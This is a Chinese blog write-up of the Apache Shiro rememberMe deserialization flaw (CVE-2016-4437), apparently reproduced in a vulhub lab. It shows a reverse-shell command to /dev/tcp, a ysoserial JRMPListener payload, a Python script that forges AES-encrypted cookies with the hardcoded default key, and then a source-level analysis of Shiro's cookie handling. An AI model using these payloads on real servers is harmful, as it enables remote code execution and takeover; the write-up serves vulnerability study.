shiro反序列化漏洞

2024-03-07 994 0

一、环境搭建

## 1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
shiro反序列化漏洞插图## 2、安装docker-compose
pip install docker-compose
shiro反序列化漏洞插图1## 3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
shiro反序列化漏洞插图2## 4、进入指定目录启动环境
cd vulhub/shiro/CVE-2016-4437
docker compose up
shiro反序列化漏洞插图3访问http://IP:8080
shiro反序列化漏洞插图4

二、漏洞复现

首先下载ysoserial工具
下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
使用java -jar ysoserial.jar查看是否可以正常使用
shiro反序列化漏洞插图5构造反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

然后放到以下网站进行加密
https://r0yanx.com/tools/java_exec_encode/
shiro反序列化漏洞插图6然后使用工具ysoserial执行命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}(刚刚网站加密后的命令)"

shiro反序列化漏洞插图7开始构造cookie
编写一个py脚本,内容如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

这个文件得和ysoserial放在同一个文件夹下
然后运行文件

python shiro.py ip:刚刚ysoserial开放的端口(也就是9999)

报错了
shiro反序列化漏洞插图8解决方法

pip uninstall crypto pycryptodome (删除已有的pycryptodome)
pip install pycryptodome -i https://pypi.douban.com/simple

成功构造cookie
shiro反序列化漏洞插图9

rememberMe=t9HEbOrmSVOcD/6189qiJXYkTBwG2N368YTO+D/YXj3ZFr++0IEulCjiJUNOzefkgljCQE5b8Qh2bHAFDe1R1QD54z8koOeyEIxPgwNCZa57e91QiNw1gD7gxIuA30uZYCK7lHRI82m3Mu/OYbHrKcN+PoYl3Hl0hwLVCppHutppWsorHsXJ2w5xJi5dXyTFs5xXEk8wMR0I3pGIcjHA9u8bBV/aUdaY7z7ucWcbB9m9hySu7JaDELX1hGF4Im5XHnRjBdAeRXJhd/yVaaCoAMSIToqPVlsV4Fa+w3priM6DrLfj9XZTqjZFyRPIgq0jMTBxNVH7traR+h9LQ1A82PZOcmgL2+P4ibcc4LW6FiBFKmr6UL2y764VD8qnFsB3NCanONnFN3GH6P0oBH+ZRA==

开始反弹shell
在登录页面勾选remember me,账号密码随便填,然后发送到repeater
shiro反序列化漏洞插图10
shiro反序列化漏洞插图11
在kali开启监听
shiro反序列化漏洞插图12
将刚刚构造的cookie替换掉原来的cookie,然后点击发送
shiro反序列化漏洞插图13
虽然没用反弹成功,但是ysoserial有回显
shiro反序列化漏洞插图14

工具使用

将目标url放入红框然后依次点击爆破密钥以及爆破利用链及回显即可利用
shiro反序列化漏洞插图15
shiro反序列化漏洞插图16
shiro反序列化漏洞插图17

三、漏洞分析

加密
shiro反序列化漏洞插图18
解密
shiro反序列化漏洞插图19

加密

漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。

该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。

那么我们就去查看一下该方法在什么地方被调用。

shiro反序列化漏洞插图20

在这可以看到该类继承的AbstractRememberMeManager类调用了该方法。跟进进去查看

shiro反序列化漏洞插图21

发现这个方法被rememberIdentity方法给调用了,同样方式继续跟进。

shiro反序列化漏洞插图22

在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用,跟踪到这一步,就看到了onSuccessfulLogin登录成功的方法。

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。可以来看一下这段代码。

shiro反序列化漏洞插图23

回到onSuccessfulLogin这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。

shiro反序列化漏洞插图24

这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。

shiro反序列化漏洞插图25

如果选择Remember Me功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。

这里如果为true的话就会调用rememberIdentity方法并且传入三个参数。F7跟进该方法。

shiro反序列化漏洞插图26

前面说过该方法会去生成一个PrincipalCollection对象,里面包含登录信息。F7进行跟进rememberIdentity方法。

shiro反序列化漏洞插图27

查看convertPrincipalsToBytes具体的实现与作用。

shiro反序列化漏洞插图28

shiro反序列化漏洞插图29

跟进该方法查看具体实现。

shiro反序列化漏洞插图30

看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。

再来看到下一段代码,这里如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

shiro反序列化漏洞插图31

shiro反序列化漏洞插图32

还是继续跟进查看。

shiro反序列化漏洞插图33

shiro反序列化漏洞插图34

查看调用,会发现在构造方法里面对该值进行定义。

shiro反序列化漏洞插图35

完成这一步后,就来到了这里。

shiro反序列化漏洞插图36

调用encrypt方法,对序列化后的数据进行处理。继续跟进。

shiro反序列化漏洞插图37

这里调用cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。

shiro反序列化漏洞插图38

getEncryptionCipherKey从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。

shiro反序列化漏洞插图39

shiro反序列化漏洞插图40

查看调用的时候,发现setCipherKey方法在构造方法里面被调用了。

shiro反序列化漏洞插图41

查看DEFAULT_CIPHER_KEY_BYTES值会发现里面定义了一串密钥

shiro反序列化漏洞插图42

而这个密钥是定义死的。

返回刚刚的加密的地方。

shiro反序列化漏洞插图43

这个地方选择跟进,查看具体实现。

shiro反序列化漏洞插图44

查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成,进行跟进。

shiro反序列化漏洞插图45

shiro反序列化漏洞插图46

查看getDefaultSecureRandom方法实现。

shiro反序列化漏洞插图47

shiro反序列化漏洞插图48

shiro反序列化漏洞插图49

返回generateInitializationVector方法继续查看。这个new了一个byte数组长度为16

shiro反序列化漏洞插图50

最后得到这个ivBytes值进行返回。

这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。

shiro反序列化漏洞插图51

这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。

在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。

shiro反序列化漏洞插图52

执行完成后,来到这一步,然后进行跟进。

shiro反序列化漏洞插图53

到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

解密

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。

shiro反序列化漏洞插图54

shiro反序列化漏洞插图55

查看 getRememberedPrincipals方法在此处下断点

shiro反序列化漏洞插图56

跟踪

shiro反序列化漏洞插图57

返回getRememberedPrincipals方法。

shiro反序列化漏洞插图58

在下面调用了convertBytesToPrincipals方法,进行跟踪。

shiro反序列化漏洞插图59

查看decrypt方法具体实现。

shiro反序列化漏洞插图60

和前面的加密步骤类似,这里不做详细讲解。

shiro反序列化漏洞插图61

生成iv值,然后传入到他的重载方法里面。

shiro反序列化漏洞插图62

到了这里执行完后,就进行了AES的解密完成。

还是回到这一步。

shiro反序列化漏洞插图63

这里返回了deserialize方法的返回值,并且传入AES加密后的数据。

进行跟踪该方法。

shiro反序列化漏洞插图64

继续跟踪。

shiro反序列化漏洞插图65

到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject方法进行反序列化操作

四、参考文章

https://blog.csdn.net/m0_49490199/article/details/135752129
https://www.cnblogs.com/nice0e3/p/14183173.html#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://blog.csdn.net/god_zzZ/article/details/108391075


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞
万字长文浅谈三高系统建设方法论和实践
你遇到过哪些奇葩面试题目;如何考察渗透测试与安全管理能力| FB甲方群话题讨论

发布评论